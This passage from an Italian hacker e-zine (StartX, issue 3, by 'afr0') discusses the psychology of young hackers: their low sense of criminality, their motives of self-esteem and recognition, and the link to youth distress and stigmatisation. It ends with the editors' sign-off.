in special modo sulla reale affidabilita a lungo termine di tali soggetti e sulla rapida obsolescenza delle loro conoscenze una volta abbandonato il mondo dell'hacking attivo. Secondo gli standard americani, ad esempio, un passato burrascoso nell'underground digitale mal si sposa con un'assunzzione (anche come consulente) in una company seria. Dinamiche psicologiche dell’hacking giovanile Gli hackers, specie se giovani, presentano una ridotta percezione del crimine e tendono a non autodefinirsi come dei criminali. La mediazione del computer tra loro e la vittima genera intorno all’azione illegale un’atmosfera tipica del videogame. La scarsa omertà che contraddistingue le comunità hacker (colui che riesce in qualche impresa telematica è solito infatti vantarsi facilitando, sovente, l’opera degli investigatori) offre ulteriori conferme sulla modesta percezione della gravità di tale comportamento. La presenza di tratti di personalità tipici (es. l’introversione) unita ad un sé ideale (immaginario) è spesso riscontrata in soggetti che praticano intrusioni clandestine. La motivazione che sovente emerge nelle loro azioni illegali è talvolta comparabile, con quella di certe forme di violenza contro le cose e contro le persone, apparentemente senza un vantaggio pragmatico per l’autore (es. danneggiamenti di pubbliche infrastrutture) ma spiegabili nella valenza comunicativa che tali azioni implicano, sia diretta verso l’ambiente esterno e sia diretta verso il sé dell’autore: danneggio il sistema informatico per mostrare/mostrarmi che sono in grado di farlo e per aumentare il livello di autostima. L’hacking rappresenta infine uno strumento per alcuni giovani per entrare in comunicazione con il mondo degli adulti “a livello paritetico” attraverso il canale criminale, costringendo la società a difendere i propri gangli vitali da coloro che, non essendo ancora direttamente implicati nei processi produttivi, vengono usualmente trattati con “sufficienza”. L’essere considerati “importanti” (anche se in ambito illegale) può senz’altro costituire un elemento affascinante per alcuni soggetti che vivono particolari condizioni di disagio ed inseriti in una rete di interazioni subculturali con altri soggetti che, per così dire, condividono e rinforzano tale attività. Hacking e disagio psicologico: quale confine? Gli hacker snodano spesso il proprio cammino su un percorso comunicativo personale e per certi versi elitario, creandosi una rappresentazione esistenziale “mitica” che li conduce a lungo termine all’illegalità e alla solitudine. Le molte ore passate davanti al computer, i tentativi estenuanti di intrusione all’interno di un sistema, la soddisfazione ricercata nell’aggirare le difese di un sito web, al di la dei rischi di natura penale, si configurano sovente come una sorta di “rifugio della mente”, all’interno di una realtà digitale offerta dalle nuove tecnologie di comunicazione. L’inadeguata capacità di definire un modello esistenziale confacente con le proprie potenzialità e corrispondente ai propri bisogni nell’ambito del sistema reale (fisico), sembra quindi spingere alcuni giovani al un modello esistenziale alternativo, che trova espressione all’interno di un sistema comunicazionale artificiale, fruito con modalità illegali. E tale modalità può però inserirli in un circuito di stigmatizzazione (a seguito di denuncia penale), analogo a quello che può produrre un comportamento antisociale tradizionale. Anche in tale contesto le dinamiche di illegalità possono essere quindi lo specchio di condizioni di disagio giovanile, esorcizzate attraverso azioni telematiche di disturbo e di danneggiamento, che presentano, attualmente, contorni meno definiti rispetto a quelli del sistema socio-culturale convenzionale. [by afr0] The End Bene si chiude qui questo numero di StartX, Diciamo che questo mese la redazione di StartX si e data da fare, e mentre voi vi state leggendo la rivista noi di StartX siamo andati a farci qualche serata underground ;) Questo terzo numero di StartX e stato un parto lungo, si spera che in questo 2015 StartX raggiunga il suo scopo, purtroppo non vedo ancora miglioramenti sulle altre riviste, ma potete star certi che StartX non crollera! Bene spero che anche questo terzo numero vi sia piaciuto Se si chiedo un semplice like alla pagina facebook di afr0 e perche no anche un passa parola della rivista